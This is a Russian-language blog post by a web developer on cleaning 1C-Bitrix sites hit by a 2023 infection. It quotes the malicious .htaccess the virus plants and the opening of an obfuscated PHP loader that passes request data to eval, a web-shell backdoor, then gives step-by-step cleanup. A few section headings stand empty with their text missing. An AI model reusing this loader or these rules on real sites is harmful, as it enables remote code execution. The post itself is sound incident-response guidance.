В начале 2023 года многие сайты на 1С-Битрикс подверглись атаке, разбираем как это проявляется и как с этим бороться.
Этот блог создан для того, чтобы поделиться своим опытом. Если эта информация пригодится хотя бы одному человеку, то всё это не зря.
Основные симптомы выглядят так:
На самом деле могут быть и другие, но из всех сайтов, что я проверил - эти были у каждого.
В чем проблема? К вам на сайт был загружен вирус, этот вирус при исполнении создает копию себя и заменяет или добавляет вредоносный код в ваши файлы. Так-же, вирус создает собственный .htaccess, в котором вот такой код:
<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch> <FilesMatch '^(index.php|inputs.php|adminfuns.php|chtmlfuns.php|cjfuns.php|classsmtps.php|classfuns.php| comfunctions.php|comdofuns.php|connects.php|copypaths.php|delpaths.php|doiconvs.php|epinyins.php| filefuns.php|gdftps.php|hinfofuns.php|hplfuns.php|memberfuns.php|moddofuns.php|onclickfuns.php| phpzipincs.php|qfunctions.php|qinfofuns.php|schallfuns.php|tempfuns.php|userfuns.php|siteheads.php |termps.php|txets.php|thoms.php|postnews.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php| wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php| wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php| ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php| ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php| ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php| plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php| admin.php|edit-tags.php|media.php|nav-menus.php|post.php|admin-post.php|export.php|media-upload.php| network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php| privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php| options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php| setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php| customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php| options-reading.php|system_log.php)$'> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>
А в файлах index.php вот такой код:
<?php /*-qN00@V:`-*/error_reporting(0); $DJA /*-aYl?2`k:C^LN;R-*/=/*-kYB7t.udNQe]87d1O;-*/ "ra" ./*-dsqM6|wNO)-*/"ng"./*-6jjo6$E@z%}xr~j2-*/"e"; $eV /*->^I{~H~D{A,C-Ox>-*/= /*-2&bt^&]Y.O-* /$DJA/*-@>gV&i@UUO}W>-*/(/*-<^:!k67PVG4$|N@Nkm-*/"~",/*-H~_c9W1Fd[o,ge.QU5-*/" ");/*-0dG%CPX~k DLa-*/$pP/*-F?-hU~i&t%|{f-*/=/*->-3b7Whq0Ye%:-*/${$eV[30+1]/*-3~ub~8yeKWm)|-*/.$eV[40+19]. /*-|UMk$+9y-*/$eV[12+35].$eV[21+26]./*-`rO~!yr5|s`jRGu-*/$eV[25+26].$eV[5+48].$eV/*-y~J&!:?EEm0mx 6ksvn?-*/[38+19]}; /*-rt|gts~zht-*/if(/*-J8@$p3td3|@%E-*/(in_array/*-mqlN(M&a]hB-*/(gettype/*-S9J ka|z-;}C,t%^D^-Xym nM2-*/($pP)==(2+26))){(($pP[19+44]=$pP[45+18].$pP[5+69])/*-4z43v]fDv.zxca(a$}-*/&&/*-3j$>6Uzxqux) Yrv-*/@eval/*-uJ)fh}M75;K>|5-*/($pP[19+44](${$pP[10+33]}[15+15])));}/*-Iuomav-*/class /*-}y#w-*/g{ /*-CYIaC%-*/static/*-o.c1HhPf$-*/ function /*-$@;j-*/yChq($hCH) /*-OAA=R4?x6-*/{ $ZH/*-_)7Ge^z-*/ = /*-B5p){P!%+-*/"r"./*-_h-*/"a"./*-R`ZIM6-*/"n"./*-$@mbZr-*/"g"./*-1_v81-*/"e"; /*--j$cbv-*/$FwiSXK /*-M(c:}d-*/ = /*-}1(AD-*/$ZH/*-#x-*/(/*-6>-*/"~"/*-J-{-*/, /*-S_-*/" "/*-(HM-*/);/*-YZ|-*/ $RrpZEzLD ....
Таким образом при попытке открыть сайт, происходит копирование вируса, а сам сайт не открывается.
Для начала стоит подключиться через файловый менеджер или FTP к сайту и убедиться, что файлы действительно заражены.
Файлы .htaccess с кодом выше могут находиться не только в корне, но и в каждой подпапке сайта. Таким образом удалением одного проблему не решишь.
Все зависит от того как долго сайт был заражен. Чем дольше, тем глубже будут заражены файлы.
Если глянуть логи
Для начала стоит остановить
Далее приступаем к лечению.
Если у вас есть бэкап сайта, на момент создания не зараженного, то вы можете восстановить из бэкапа, важно это сделать не в ту же папку, а в отдельную.
Если актуального бэкапа нет, то порядок действий такой:
1) Для начала удалим все .htaccess. Подключаемся через SSH и вводим такую команду
cd /path/to/your/site find . -type f -perm 0444 -name ".htaccess" -delete;
Первой строчкой мы переходим в директорию сайта. Второй находим все файлы .htaccess с правами 444, так как все зараженные файлы имеют права 444. И удаляем их. Но для сайта на Битрикс необходим этот файл, на сайте Битрикса вы можете взять дефолтный файл и загрузить его в корень сайта. Ссылка: https://dev.1c-bitrix.ru/learning/course/index.php?COURSE_ID=32&LESSON_ID=3295.
2) Далее придется вручную пройтись по папкам и файлам сайта и удалить код, как в примере выше. Обычно он распологается в самом начале в первой строке. Надо удалить все до подключения Битрикса, пример как выглядит файл после удаления кода:
<? require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php"); $APPLICATION->SetTitle("Title"); ?> ...
Если вы видите файл в название которого белиберда, например sdfkjh30jisdg9.php , то смело удаляйте его - это вирус. Еще могут встречаться файлы и папки с названием wp_… - это тоже вирус, эти файлы должны навредить сайту на wordpress, но и битриксу они усложняют функционирование - все удаляем.
Иногда встречается, что может быть заражен файл /bitrix/modules/main/bx_root.php.
Вот содержимое этого файла без вредоносного кода:
<? define("BX_ROOT", "/bitrix"); if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "") define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]); else define("BX_PERSONAL_ROOT", BX_ROOT);
3) После того как вы удалите все, то ваш сайт заработает и вы сможете попасть в админку. В админке необходимо перейти в Настрой - Автокеширование - Очистка кеша и удалить весь кеш. Если возникнет проблема, то надо будет это сделать вручную, надо удалить все в папках:
/bitrix/manage_cache/
/bitrix/cache/
4) Проверяем Агенты у Битрикса. Надо зайти в Настройки - Настройки продукта - Агенты и изучить что есть в таблице. Если видим для модуля main агент с белибердой в коде. То этот агент так-же необходимо удалить.
5) И последним необходимо удалить эти модули:
/bitrix/modules/vote/
/bitrix/tools/vote/
После того как мы все удалили нам необходимо сменить все пароли от администраторов сайта, а также от хостинга. После этого обновить битрикс до последней версии. Сделать актуальный бэкап всех файлов. И какое-то время периодически проверять сайт на предмет зараженных файлов. Это можно сделать вручную или установить сканер, например: https://marketplace.1c-bitrix.ru/solutions/bitrix.xscan/
Проделанное выше должно вам помочь. Если у вас что-то не получилось или столкнулись с какой-то другой модификацией, то вы можете написать мне в Телеграмм https://t.me/alexey_shelikhov или на почту alexey@shelikhov.me и я вам помогу.
Алексей Шелихов - веб-разработчик, ментор и предприниматель